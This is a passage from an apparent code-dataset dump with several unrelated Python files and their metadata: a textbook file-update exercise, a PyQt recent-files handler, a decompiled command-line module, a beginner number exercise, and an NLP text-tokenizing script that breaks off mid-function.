'r')\n\n # Open the temporary file.\n temp_file = open('temp.txt', 'w')\n\n # Read the frist record's description field.\n descr = coffee_file.readline()\n\n # Read the rest of the file.\n while descr != '':\n # Read the quantity field.\n qty = float( coffee_file.readline())\n\n # Strip the '\\n\\' from the description\n descr = descr.rstrip('\\n')\n\n # Write either this record to the temporary file, or the new record\n # if this in one that is to be modified\n if descr == searh:\n # Write the modified record to the temp file\n temp_file.write(descr + '\\n')\n temp_file.write( str(new_qty) + '\\n')\n\n # Set thge found flag to True\n found = True\n else:\n # Write the original record to the temp file.\n temp_file.write(descr + '\\n')\n temp_file.write( str(qty) + '\\n')\n\n # Read the next description\n descr = coffee_file.readline()\n \n # Close the coffee file and the temporary file.\n coffee_file.close()\n temp_file.close()\n\n # Delete the original coffee.txt file.\n os.remove('coffee.txt')\n\n # Rename the temporary file\n os.rename('temp.txt', 'coffee.txt')\n\n # If the search value was not found in the file,\n # display a message\n if found:\n print('The file has been updated')\n else:\n print('That item was not found in the file')\n\n# Call the main function\nmain()","sub_path":"Chapter_6/6-18_modify_coffee_records.py","file_name":"6-18_modify_coffee_records.py","file_ext":"py","file_size_in_byte":4281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"171729876","text":"from PyQt4 import QtGui\nfrom PyQt4 import QtCore\n\nfrom RefRed.file_loaded_object import FileLoadedObject\n\nclass ReducedSFCalculatorConfigFilesHandler(object):\n\t'''\n\tThis class handles the config files previously loaded and will replace the oldest files (of 5)\n\tby the new freshly loaded one (if not already there)\n\t'''\t\n\tmainGui = None\n\t\n\tconfig_files = []\n\tactive_file_index = -1\n\ttotal_files_loaded = 0\n\tTOTAL_NUMBER_OF_FILES = 10\n\t\n\tdef __init__(self, mainGui):\n\t\tself.mainGui = mainGui\n\t\tself.populateWithCurrentConfigContain()\n\t\t\n\tdef populateWithCurrentConfigContain(self):\n\t\tfrom RefRed.config import reflsfcalculatorlastloadedfiles\n\t\treflsfcalculatorlastloadedfiles.switch_config('config_files')\n\t\tfile1 = reflsfcalculatorlastloadedfiles.reduce1\n\t\tfile2 = reflsfcalculatorlastloadedfiles.reduce2\n\t\tfile3 = reflsfcalculatorlastloadedfiles.reduce3\n\t\tfile4 = reflsfcalculatorlastloadedfiles.reduce4\n\t\tfile5 = reflsfcalculatorlastloadedfiles.reduce5\n\t\tfile6 = reflsfcalculatorlastloadedfiles.reduce6\n\t\tfile7 = reflsfcalculatorlastloadedfiles.reduce7\n\t\tfile8 = reflsfcalculatorlastloadedfiles.reduce8\n\t\tfile9 = reflsfcalculatorlastloadedfiles.reduce9\n\t\tfile10 = reflsfcalculatorlastloadedfiles.reduce10\n\t\tfile = [file1, file2, file3, file4, file5, file6, file7, file8, file9, file10]\n\t\tdate1 = reflsfcalculatorlastloadedfiles.date1\n\t\tdate2 = reflsfcalculatorlastloadedfiles.date2\n\t\tdate3 = reflsfcalculatorlastloadedfiles.date3\n\t\tdate4 = reflsfcalculatorlastloadedfiles.date4\n\t\tdate5 = reflsfcalculatorlastloadedfiles.date5\n\t\tdate6 = reflsfcalculatorlastloadedfiles.date6\n\t\tdate7 = reflsfcalculatorlastloadedfiles.date7\n\t\tdate8 = reflsfcalculatorlastloadedfiles.date8\n\t\tdate9 = reflsfcalculatorlastloadedfiles.date9\n\t\tdate10 = reflsfcalculatorlastloadedfiles.date10\n\t\tdate = [date1, date2, date3, date4, date5, date6, date7, date8, date9, date10]\n\t\tfor i in range(self.TOTAL_NUMBER_OF_FILES):\n\t\t\tif file[i] != '':\n\t\t\t\t_fileLoad = FileLoadedObject(file[i], date[i])\n\t\t\t\tself.config_files.append(_fileLoad)\n\t\t\t\tself.total_files_loaded += 1\n\t\n\tdef addFile(self, fullFileName):\n\t\t\n\t\t_newFileObject = FileLoadedObject(fullFileName)\n\t\t\n\t\tif len(self.config_files) == 0:\n\t\t\tself._add_file_to_array(_newFileObject)\n\t\t\treturn\n\t\t\n\t\t[isAlreadyThere, index] = self._is_new_file(_newFileObject)\n\t\tif isAlreadyThere:\n\t\t\tself.switch_old_with_new_file(_newFileObject, index)\n\t\t\tself.mainGui.file_menu_object.activateFileAtIndex(index)\n\t\telse:\n\t\t\tself._add_file_to_array(_newFileObject)\n\t\t\t\n\tdef _is_new_file(self, newFileObject):\n\t\t_nbrFile = len(self.config_files)\n\t\tfor i in range(_nbrFile):\n\t\t\tif newFileObject.fullFileName == self.config_files[i].fullFileName:\n\t\t\t\treturn [True, i]\n\t\treturn [False, -1]\n\t\t\t\n\tdef _add_file_to_array(self, _newFileObject):\n\t\tif len(self.config_files) == self.TOTAL_NUMBER_OF_FILES:\n\t\t\tself._add_at_the_top(_newFileObject)\n\t\t\tself.mainGui.file_menu_object.activateFileAtIndex(0)\n\t\telse:\n\t\t\tself.config_files.append(_newFileObject)\n\t\t\tself.total_files_loaded += 1\n\t\t\tself.mainGui.file_menu_object.activateFileAtIndex(self.total_files_loaded)\n\t\n\tdef _add_at_the_top(self, newFileObject):\t\n\t\tfor i in range(self.TOTAL_NUMBER_OF_FILES-1,0,-1):\n\t\t\tself.config_files[i] = self.config_files[i-1]\n\t\tself.config_files[0] = newFileObject\n\n\tdef switch_old_with_new_file(self, newFileObject, index):\n\t\tself.config_files[index] = newFileObject\n\t\t\n\tdef _replace_with_oldest_file(self, newFileObject):\n\t\t_oldestIndex = self._get_index_of_oldest_file()\n\t\tself.config_files[_oldestIndex] = newFileObject\n\n\tdef _get_index_of_oldest_file(self):\n\t\t_oldestTime = self.config_files[0].lastTimeUsed\n\t\t_index = 0\n\t\tfor i in range(1,self.TOTAL_NUMBER_OF_FILES):\n\t\t\t_time = self.config_files[i]\n\t\t\tif _time < _oldestTime:\n\t\t\t\t_oldestTime = _time\n\t\t\t\t_index = i\n\t\treturn _index\n\t\t\t\n\tdef updateGui(self):\n\t\tlistKey = [QtCore.Qt.Key_0, \n\t\t QtCore.Qt.Key_1,\n\t\t QtCore.Qt.Key_2,\n\t\t QtCore.Qt.Key_3,\n\t\t QtCore.Qt.Key_4,\n\t\t QtCore.Qt.Key_5,\n\t\t QtCore.Qt.Key_6,\n\t\t QtCore.Qt.Key_7,\n\t\t QtCore.Qt.Key_8,\n\t\t QtCore.Qt.Key_9]\n\t\tfor i in range(self.total_files_loaded):\n\t\t\t_file = self.config_files[i].fullFileName\n\t\t\t_key = listKey[i]\n\t\t\tif _file != '':\n\t\t\t\tself.mainGui.list_action[i].setText(_file)\n\t\t\t\tself.mainGui.list_action[i].setVisible(True)\n\t\t\t\tself.mainGui.list_action[i].setShortcuts(QtGui.QKeySequence(QtCore.Qt.META + _key))\n\n\tdef save(self):\n\t\tfrom quicknxs.config import reflsfcalculatorlastloadedfiles\n\t\treflsfcalculatorlastloadedfiles.switch_config('config_files')\n\t\t\n\t\tif self.total_files_loaded>0 and self.config_files[0].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce1 = self.config_files[0].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date1 = self.config_files[0].lastTimeUsed\n\t\t\n\t\tif self.total_files_loaded>1 and self.config_files[1].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce2 = self.config_files[1].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date2 = self.config_files[1].lastTimeUsed\n\n\t\tif self.total_files_loaded>2 and self.config_files[2].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce3 = self.config_files[2].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date3 = self.config_files[2].lastTimeUsed\n\t\t\t\n\t\tif self.total_files_loaded>3 and self.config_files[3].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce4 = self.config_files[3].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date4 = self.config_files[3].lastTimeUsed\n\n\t\tif self.total_files_loaded>4 and self.config_files[4].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce5 = self.config_files[4].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date5 = self.config_files[4].lastTimeUsed\n\t\t\t\n\t\tif self.total_files_loaded>5 and self.config_files[5].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce5 = self.config_files[5].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date5 = self.config_files[5].lastTimeUsed\n\n\t\tif self.total_files_loaded>6 and self.config_files[6].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce5 = self.config_files[6].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date5 = self.config_files[6].lastTimeUsed\n\n\t\tif self.total_files_loaded>7 and self.config_files[7].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce5 = self.config_files[7].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date5 = self.config_files[7].lastTimeUsed\n\n\t\tif self.total_files_loaded>8 and self.config_files[8].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce5 = self.config_files[8].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date5 = self.config_files[8].lastTimeUsed\n\n\t\tif self.total_files_loaded>9 and self.config_files[9].fullFileName != '':\n\t\t\treflsfcalculatorlastloadedfiles.reduce5 = self.config_files[9].fullFileName\n\t\t\treflsfcalculatorlastloadedfiles.date5 = self.config_files[9].lastTimeUsed\n\n\t\treflsfcalculatorlastloadedfiles.switch_config('default')","sub_path":"RefRed/sf_calculator/reduced_sfcalculator_config_files_handler.py","file_name":"reduced_sfcalculator_config_files_handler.py","file_ext":"py","file_size_in_byte":6955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"321066504","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/khan/command.py\n# Compiled at: 2010-05-12 10:25:54\n\"\"\"\n命令行支持\n=================================\n\n索引\n=================================\n\n* :class:`Command`\n* :class:`ProjectCommand`\n* :class:`ActionDispatcherCommand`\n\n=================================\n\n.. autoclass:: Command\n.. autoclass:: ProjectCommand\n.. autoclass:: ActionDispatcherCommand\n\"\"\"\nimport sys, os, inspect, warnings, logging\nfrom paste.script.command import Command as _Command, BadCommand\nfrom khan.deploy.core import EnvironLoader\n__all__ = [\n 'Command', 'BadCommand', 'ProjectCommand', 'ActionDispatcherCommand']\n\nclass CommandMeta(type):\n\n def __init__(cls, name, bases, attrs):\n summary = ''\n usage = ''\n if cls.__doc__:\n lines = cls.__doc__.splitlines()\n for (i, line) in enumerate(lines):\n if line.strip():\n summary = line\n need_strip_num = len(line) - len(line.lstrip())\n summary = summary.strip()\n usage = ('\\n').join(map(lambda l: l[need_strip_num:], lines[i + 1:]))\n usage = usage.strip()\n break\n\n cls.summary = summary\n cls.usage = usage\n\n\nclass Command(_Command):\n '''\n 命令行命令基类,封装了 ``paste.script.Command``\n \n 实现根据类的 __doc__ 属性自动生成命令行的说明, __doc__ 的具体格式如下::\n \n class MyCommand(Command):\n \"\"\"\n The summary string\n \n the usage string\n \"\"\"\n \n :attr:`args_description`\n \n 参数说明,如果不设置该属性,则根据 :attr:`max_args` 自动生成 ``arg arg1 arg2`` 这种说明\n \n 该属性最终将显示在::\n \n $ command [OPTIONS] *args_description*\n '''\n __metaclass__ = CommandMeta\n group_name = 'khan'\n args_description = ''\n\n def parse_args(self, args):\n if not self.args_description:\n if self.max_args > 0:\n args_description = (' ').join(map(lambda x: 'arg' + str(x) if x > 0 else 'arg', range(self.max_args)))\n else:\n args_description = ''\n else:\n args_description = self.args_description\n if self.summary:\n self.summary = '\\n\\n' + self.summary\n if self.usage:\n self.usage = '\\n\\n' + self.usage\n self.parser.usage = '%%prog [options] %s%s%s' % (\n args_description, self.summary, self.usage)\n self.parser.prog = self._prog_name()\n if self.description:\n desc = self.description\n self.parser.description = desc\n (self.options, self.args) = self.parser.parse_args(args)\n\n def _prog_name(self):\n return '%s %s' % (os.path.basename(sys.argv[0]), self.command_name)\n\n\nclass ProjectCommand(Command):\n min_args = 0\n max_args = 0\n package = None\n zcml = None\n server = None\n parser = Command.standard_parser(simulate=True)\n\n def parse_args(self, args):\n if self.server is None:\n self.parser.add_option('-s', '--server', dest='server', default='main', help='Specifie server name in zcml file [default: %default]')\n if self.package is None and self.zcml is None:\n self.parser.add_option('-p', '--package', dest='package', default=None, metavar='PACKGE', help='Project package.')\n self.parser.add_option('-z', '--zcml', dest='zcml', default=None, metavar='ZCML', help='Project zcml file.')\n return super(ProjectCommand, self).parse_args(args)\n\n def command(self):\n if self.package:\n package = self.package\n elif hasattr(self.options, 'package'):\n package = self.options.package\n else:\n package = None\n if self.zcml:\n zcml = self.zcml\n elif hasattr(self.options, 'zcml'):\n zcml = self.options.zcml\n else:\n zcml = None\n if not zcml and not package:\n raise BadCommand('You must give a project package or ZCML file')\n server_name = self.options.server\n if package:\n sys.path.append(os.getcwd())\n if isinstance(package, basestring):\n __import__(package, globals(), locals(), [], -1)\n package = sys.modules[package]\n if zcml:\n if not os.path.isfile(os.path.abspath(zcml)):\n raise BadCommand(\"zcml file '%s' not exists.\" % zcml)\n self.package = package\n self.zcml = zcml\n if not self.verbose:\n warnings.filterwarnings('ignore')\n logging.raiseExceptions = 0\n env_loader = EnvironLoader(package, zcml, self.verbose, server_name)\n with env_loader as ((app, deploy_context)):\n return self.execute(app, deploy_context)\n return\n\n def execute(self, app, deploy_context):\n pass\n\n\nclass ActionDispatcherCommand(ProjectCommand):\n min_args = 1\n max_args = None\n args_description = ' [argument1 argument2 ...]'\n\n class ActionFactory(object):\n pass\n\n def parse_args(self, args):\n members = inspect.getmembers(self.ActionFactory)\n extra_usage = ''\n for (name, obj) in members:\n name = name.lower()\n if not name.startswith('_') and callable(obj):\n doc = obj.__doc__\n summary = ''\n usage = ''\n if doc:\n lines = doc.splitlines()\n for (i, line) in enumerate(lines):\n if line.strip():\n summary = line.strip()\n need_strip_num = len(line) - len(line.lstrip())\n summary = summary.strip()\n usage = ('\\n').join(map(lambda l: ' ' + l[need_strip_num:], lines[i + 1:]))\n usage = ' ' + usage.strip()\n break\n\n if usage.strip():\n extra_usage += ' - <%(action)s> %(summary)s\\n\\n%(usage)s\\n\\n' % dict(action=name.upper(), summary=summary, usage=usage)\n else:\n extra_usage += ' - <%(action)s> %(summary)s\\n\\n' % dict(action=name.upper(), summary=summary)\n else:\n extra_usage += ' - <%(action)s> \\n\\n' % dict(action=name.upper())\n\n if extra_usage:\n extra_usage = 'Actions:\\n\\n' + extra_usage.rstrip()\n self.usage += extra_usage.strip()\n return super(ActionDispatcherCommand, self).parse_args(args)\n\n def execute(self, app, deploy_context):\n if len(self.args) == 0:\n raise BadCommand('Action missing.')\n action = self.args[0].lower()\n args_of_action = self.args[1:]\n if action.startswith('_'):\n raise BadCommand(\"Action '%s' invalid\" % action)\n factory = self.ActionFactory()\n factory.cmd = self\n factory.app = app\n factory.deploy_context = deploy_context\n if hasattr(factory, action):\n action_method = getattr(factory, action)\n if not callable(action_method):\n raise BadCommand(\"Action '%s' invalid\" % action)\n else:\n return action_method(*args_of_action)\n else:\n raise BadCommand(\"Action '%s' invalid\" % action)","sub_path":"pycfiles/Khan-0.1.6dev-py2.6/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":7614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"273638630","text":"### O programa deve ler um valor inteiro X indefinidas vezes. (O programa irá parar quando o valor de X for igual a 0). Para cadaX\n### lido, imprima a soma dos 5 pares consecutivos a partir de X, inclusive o X , se for par. Se o valor de entrada for 4, por exem\n### plo, a saída deve ser 40, que é o resultado da operação: 4+6+8+10+12, enquanto que se o valor de entrada for 11, por exempo, a\n### saída deve ser 80, que é a soma de 12+14+16+18+20. O arquivo de entrada contém muitos valores inteiros. O último valor do arqu\n### ivo é zero. Imprima a saida conforme a explicação acima e o exemplo abaixo. Q:1159\n\t\t\ncon = True\n\nwhile con == True:\n\tnmr = int(input())\n\tsoma = 0\n\tcon1 = nmr\n\tif nmr == 0:\n\t\tcon = False\n\telse:\n\t\tfor j in range(10):\n\t\t\tif con1 % 2 == 0:\n\t\t\t\tsoma += con1\n\t\t\tcon1 += 1\n\t\tprint(soma)\n","sub_path":"1159.py","file_name":"1159.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"551784393","text":"#!/usr/bin/python\nimport re\nimport os\nimport csv\nimport nltk\nfrom collections import Counter\nfrom nltk import regexp_tokenize\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.corpus import wordnet\nfrom collections import defaultdict\nfrom collections import namedtuple\nimport json\n\n'''\n 1. 思路\n 读取文件 -> 过滤特殊符号以及还原常见缩写单词\n -> 分词 -> 词形还原 -> 统计词频 -> 写入文件\n \n 结果:\n 对文本进行分段、分句、分词\n 每个词有对应的熵\n 熵值的计算:\n 1. \n \n 2. 思考\n 2.1 过滤特殊词\n 2.2 分词\n 2.3 词形还原\n 2.4 统计词频\n'''\n\nCounterRecord = namedtuple('CounterRecord', ['mark_quotation_dict',\n 'square_quotation_dict',\n 'double_quotation_dict',\n 'single_quotation_dict',\n 'square_brackets_dict',\n 'parenthesis_dict',\n 'path_dict',\n 'braces_dict',\n 'single_char_dict',\n 'multiple_char_dict',\n 'time_dict',\n 'money_dict',\n 'percent_dict',\n 'dash_dict',\n 'multi_dash_dict',\n 'special_word_dict',\n 'email_dict',\n 'json_counter'])\n\n# 数据结构定义\n# @data: \n# self.count:\n# @type: int \n# @descrip: 记录某个词出现的频率\n# self.linenumer:\n# @type: list\n# @descrip: 记录某个词出现的所有行数 \nclass Timesline:\n def __init__(self, count = 0, linenumber = []):\n self.count = count\n self.linenumber = linenumber\n \n # 重载加号\n # @descrip: Timesline + int 将int对应的行号加入列表,并将计数+1\n def __add__(self, tar):\n if isinstance(tar, int):\n temp_count = self.count + 1 \n line_list = self.linenumber + [tar]\n return Timesline(temp_count, line_list)\n elif isinstance(tar, Timesline):\n return Timesline(self.count + tar.count,\n list(set(self.linenumber + tar.linenumber)))\n \n # 重载字符串\n def __str__(self):\n return \"{count}; {the_list}\".format(count=self.count, the_list=self.linenumber)\n\n# 合并counter \ndef merge_counter(counter1, counter2):\n for (k, v) in counter2.items():\n counter1[k] += v\n return counter1\n\n# patterns that used to find or/and replace particular chars or words\n# 匹配所有不是英文字母、空格的字符串\npat_letter = re.compile(r'[^a-zA-Z ]+')\n# 匹配所有的is动词缩写,忽略大小写\npat_is = re.compile(\"(it|he|she|that|this|there|here)(\\'s)\", re.I)\n# 匹配所有格,前面是 英文字母's 的字符串\npat_s = re.compile(\"(?<=[a-zA-Z])\\'s\")\n# 匹配所有格,前面是 s's 的字符串,to find the ' following the words ending by s\npat_s2 = re.compile(\"(?<=s)\\'s?\")\n# 匹配所有的not缩写 to find the abbreviation of not\npat_not = re.compile(\"(?<=[a-zA-Z])n\\'t\")\n# 匹配所有的would缩写 to find the abbreviation of would\npat_would = re.compile(\"(?<=[a-zA-Z])\\'d\")\n# 匹配所有的will缩写 to find the abbreviation of will\npat_will = re.compile(\"(?<=[a-zA-Z])\\'ll\")\n# 匹配所有的am缩写 to find the abbreviation of am\npat_am = re.compile(\"(?<=[I|i])\\'m\")\n# 匹配所有的are缩写 to find the abbreviation of are\npat_are = re.compile(\"(?<=[a-zA-Z])\\'re\")\n# 匹配所有的have缩写 to find the abbreviation of have\npat_ve = re.compile(\"(?<=[a-zA-Z])\\'ve\")\n\n# 自定义的分词策略,依次匹配,然后分词\n# 标记符 [('<(>&<)>', 3067), ('<(><<)>', 489), ('<(> <<)>', 85), ('<(><<)>>', 14), ('<(>,<)>', 5)]\n# 应该在最开始的时候去掉\npat_mark_quotation = re.compile(r\"(?:<\\(>&<\\)>)|(?:<\\(>\\s*<<\\)>+)|(?:<\\(>,<\\)>)\")\n# 被双重双引号包裹的\npat_square_quotation = re.compile(r\"(?:\\\"){2}[^\\\"]+(?:\\\"){2}\")\n# 被单个双引号包裹的\npat_double_quotation = re.compile(r\"\\\"[^\\\"]+\\\"\")\n# 被单引号包裹的\npat_single_quotation = re.compile(r\"\\'[^\\']+\\'\")\n# 被单个[]包裹的\npat_square_brackets = re.compile(r\"\\[[^\\[]*\\]\")\n# 被单个()包裹的\npat_parenthesis = re.compile(r\"\\([^\\(]*\\)\")\n# 倍单个{}包裹的\npat_braces = re.compile(r\"\\{[^\\{}]*\\}\")\n# 路径 e.g. adf:/asd//asd/asd\npat_path = re.compile(r\"(?:[^/^\\\\^\\s]*(?:/+|\\\\+))[\\S]*\")\n# email\npat_email = re.compile(r\"[\\.\\w]+@[a-z0-9-]{1,65}(?:\\.[a-z]+)+\")\n# 缩略词 e.g. U.S.A.\npat_single_char = re.compile(r\"\\s(?:[A-Za-z]\\.)+\\s\")\n# 缩略词 e.g. Uas.Sas.As java Exception\npat_multiple_char = re.compile(r\"(?:(?:[\\w\\(\\):]+\\.)+[\\w\\(\\):]+\\.?(?:\\s+\\.(?:[\\w\\(\\):]+\\.)+[\\w\\(\\):]+)?(?:\\s+(?:[\\w\\(\\):]+\\.)+[\\w\\(\\):]+)?)\")\n# 时间匹配\npat_time = re.compile(r\"(?:[0-9]{1,2}:){2}[0-9]{1,2}\")\n# 货币、百分数 e.g. $出现一次或不出现 小数的匹配\\d+(?:\\.\\d+)? %出现一次或不出现\npat_money = re.compile(r\"\\$\\d+(?:\\.\\d+)?\")\npat_percent = re.compile(r\"\\d+(?:\\.\\d+)?%\")\n# 用连词符、下划线连接的词中存在空格 e.g. asd-asd_adf' s\npat_dash = re.compile(r\"(?:\\w+(?:\\s+[-'_]\\s*\\w+\\s*)*[-'_]\\s+[\\S]*)|(?:\\w+ - \\w+ - \\w+)|(?:[a-z]+ - \\w+)|(?:[0-9]+ - [a-z]+)\")\n# 用连字符链接的词汇 e.g. asd-qds'ad_ad _adwf_ADFR\npat_multi_dash = re.compile(r\"\\w+(?:[-'_]\\w+)+\")\n# 特殊字符,字符与数字夹杂 e.g. 12GH3 #asc313dd\npat_special_word = re.compile(r\"[@#]?(?:\\d+|[a-zA-Z]+)(?:(?:(?<=\\d)[a-zA-Z]+)|(?:(?<=[a-zA-Z])\\d+))+\")\n\n\n# 还原缩略词\n# @return: string, 还原了缩略词的字符串\ndef replace_abbreviations(text):\n new_text = text.lower()\n #new_text = pat_letter.sub(' ', text).strip().lower()\n new_text = pat_is.sub(r\"\\1 is\", new_text)\n new_text = pat_s.sub(\"\", new_text)\n new_text = pat_s2.sub(\"\", new_text)\n new_text = pat_not.sub(\" not\", new_text)\n new_text = pat_would.sub(\" would\", new_text)\n new_text = pat_will.sub(\" will\", new_text)\n new_text = pat_am.sub(\" am\", new_text)\n new_text = pat_are.sub(\" are\", new_text)\n new_text = pat_ve.sub(\" have\", new_text)\n new_text = new_text.replace('\\'', ' ')\n return new_text\n\n# 提取json字串\n# 可以得到\n# @return: [one_json_object: dict, begin_index: int, end_index: int]\n# 处理顺序应该为第二位\ndef extract_JSON(str): \n firstOpen = firstClose = 0\n candidate = ''\n firstOpen = str.find('{', firstOpen + 1)\n while True:\n firstClose = str.rfind('}')\n #print('firstOpen: %d, firstClose: %d' % (firstOpen, firstClose))\n if(firstClose <= firstOpen):\n return []\n \n while True:\n candidate = str[firstOpen: firstClose + 1]\n #print('candidate: ' + candidate)\n try:\n res = json.loads(candidate)\n #print('...found')\n return [candidate, firstOpen, firstClose + 1]\n except Exception as msg:\n #print('...failed: %s' % msg)\n firstClose = str[0: firstClose].rfind('}')\n if not (firstClose > firstOpen):\n break\n firstOpen = str.find('{', firstOpen + 1)\n \n if not (firstOpen != -1):\n break\n\n# 返回一个tuple\n# @return: (json count的列表, 替换掉所有的json字符串后的str)\ndef extract_all_JSON(str):\n json_count = Counter()\n json_list = []\n text = str\n while True:\n temp = extract_JSON(text)\n if(temp):\n json_list.append(temp[0])\n text = text[:temp[1]] + text[temp[2]:]\n else:\n break\n \n for json_item in json_list:\n json_count[json_item] += 1\n \n return (json_count, text)\n\nNonSpecialRecords = namedtuple('NonSpecialRecords', ['wordsList', 'linenumber'])\n\ndef deal_with_line_without_wirte_file(text, linenumber):\n # counter init\n text_mark_quotation_count = defaultdict(Timesline)\n text_square_quotation_count = defaultdict(Timesline)\n text_double_quotation_count = defaultdict(Timesline)\n text_single_quotation_count = defaultdict(Timesline)\n text_square_brackets_count = defaultdict(Timesline)\n text_parenthesis_count = defaultdict(Timesline)\n text_path_count = defaultdict(Timesline)\n text_braces_count = defaultdict(Timesline)\n text_single_char_count = defaultdict(Timesline)\n text_multiple_char_count = defaultdict(Timesline)\n text_time_count = defaultdict(Timesline)\n text_money_count = defaultdict(Timesline)\n text_percent_count = defaultdict(Timesline)\n text_dash_count = defaultdict(Timesline)\n text_multi_dash_count = defaultdict(Timesline)\n text_special_word_count = defaultdict(Timesline)\n text_email_count = defaultdict(Timesline)\n text_json_count = Counter()\n\n # list init\n text_mark_quotation_count_list = []\n text_square_quotation_count_list = []\n text_double_quotation_count_list = []\n text_single_quotation_count_list = []\n text_square_brackets_count_list = []\n text_parenthesis_count_list = []\n text_path_count_list = []\n text_braces_count_list = []\n text_single_char_count_list = []\n text_multiple_char_count_list = []\n text_time_count_list = []\n text_money_count_list = []\n text_percent_count_list = []\n text_dash_count_list = []\n text_multi_dash_count_list = []\n text_special_word_count_list = []\n text_email_count_list = []\n\n # @args: match: 正则匹配到的结果\n # tar_list 存储这个结果的list\n # @return: 将匹配到的结果进行替换所使用的字符串\n def deal(match, tar_list):\n text = match.group()#获取结果\n tar_list.append(text)\n return \"\"\n # 字符串处理,每个函数返回丢弃了该正则匹配到的字符串之后的字符串\n # 可以看到text一直在变化\n ## 还原缩略词\n text = replace_abbreviations(text)\n ## 自定义的分词策略,依次匹配,然后分词\n ## 标记符 [('<(>&<)>', 3067), ('<(><<)>', 489), ('<(> <<)>', 85), ('<(><<)>>', 14), ('<(>,<)>', 5)]\n ## 应该在最开始的时候去掉\n text = pat_mark_quotation.sub(lambda m: deal(m, text_mark_quotation_count_list), text) \n ## 处理json字符串\n (temp_count, temp_text) = extract_all_JSON(text)\n text = temp_text\n text_json_count = temp_count\n ## email\n text = pat_email.sub(lambda m: deal(m, text_email_count_list), text) \n ## 路径 e.g. adf:/asd//asd/asd\n text = pat_path.sub(lambda m: deal(m, text_path_count_list), text)\n ## 缩略词 e.g. Uas.Sas.As java Exception\n text = pat_multiple_char.sub(lambda m: deal(m, text_multiple_char_count_list), text) \n ## 用连词符、下划线连接的词中存在空格 e.g. asd-asd_adf' s\n text = pat_dash.sub(lambda m: deal(m, text_dash_count_list), text) \n ## 用连字符链接的词汇 e.g. asd-qds'ad_ad _adwf_ADFR\n text = pat_multi_dash.sub(lambda m: deal(m, text_multi_dash_count_list), text) \n ## 缩略词 e.g. U.S.A.\n text = pat_single_char.sub(lambda m: deal(m, text_single_char_count_list), text) \n ## 时间匹配\n text = pat_time.sub(lambda m: deal(m, text_time_count_list), text) \n ## 货币、百分数 e.g. $出现一次或不出现 小数的匹配\\d+(?:\\.\\d+)? %出现一次或不出现\n text = pat_money.sub(lambda m: deal(m, text_money_count_list), text) \n text = pat_percent.sub(lambda m: deal(m, text_percent_count_list), text) \n ## 特殊字符,字符与数字夹杂 e.g. 12GH3 ##asc313dd\n text = pat_special_word.sub(lambda m: deal(m, text_special_word_count_list), text)\n ## 被双重双引号包裹的\n text = pat_square_quotation.sub(lambda m: deal(m, text_square_quotation_count_list), text) \n ## 被单个双引号包裹的\n text = pat_double_quotation.sub(lambda m: deal(m, text_double_quotation_count_list), text) \n ## 被单引号包裹的\n text = pat_single_quotation.sub(lambda m: deal(m, text_single_quotation_count_list), text) \n ## 被单个[]包裹的\n text = pat_square_brackets.sub(lambda m: deal(m, text_square_brackets_count_list), text) \n ## 被单个()包裹的\n text = pat_parenthesis.sub(lambda m: deal(m, text_parenthesis_count_list), text)\n ## 被单个{}包裹的\n text = pat_braces.sub(lambda m: deal(m, text_braces_count_list), text) \n \n ## 匹配所有不是英文字符的字符,将其过滤\n text = pat_letter.sub(' ', text).strip().lower()\n\n words_list = word_tokenize(text)\n\n non_special_words_record = NonSpecialRecords(words_list, linenumber) \n \n # @args: count: Counter类型,经过这个函数后,count会发生改变\n # tar_list: list 需要统计的list\n # @descrip: 对count进行赋值,每一行都进行一次\n def count_init(count, tar_list, linenumber):\n for item in tar_list:\n count[item] += linenumber\n \n count_init(text_mark_quotation_count, text_mark_quotation_count_list, linenumber)\n count_init(text_square_quotation_count, text_square_quotation_count_list, linenumber)\n count_init(text_double_quotation_count, text_double_quotation_count_list, linenumber)\n count_init(text_single_quotation_count, text_single_quotation_count_list, linenumber)\n count_init(text_square_brackets_count, text_square_brackets_count_list, linenumber)\n count_init(text_parenthesis_count, text_parenthesis_count_list, linenumber)\n count_init(text_path_count, text_path_count_list, linenumber)\n count_init(text_braces_count, text_braces_count_list, linenumber)\n count_init(text_single_char_count, text_single_char_count_list, linenumber)\n count_init(text_multiple_char_count, text_multiple_char_count_list, linenumber)\n count_init(text_time_count, text_time_count_list, linenumber)\n count_init(text_money_count, text_money_count_list, linenumber)\n count_init(text_percent_count, text_percent_count_list, linenumber)\n count_init(text_dash_count, text_dash_count_list, linenumber)\n count_init(text_multi_dash_count, text_multi_dash_count_list, linenumber)\n count_init(text_special_word_count, text_special_word_count_list, linenumber)\n count_init(text_email_count, text_email_count_list, linenumber)\n \n \n return (text_mark_quotation_count,\n text_square_quotation_count,\n 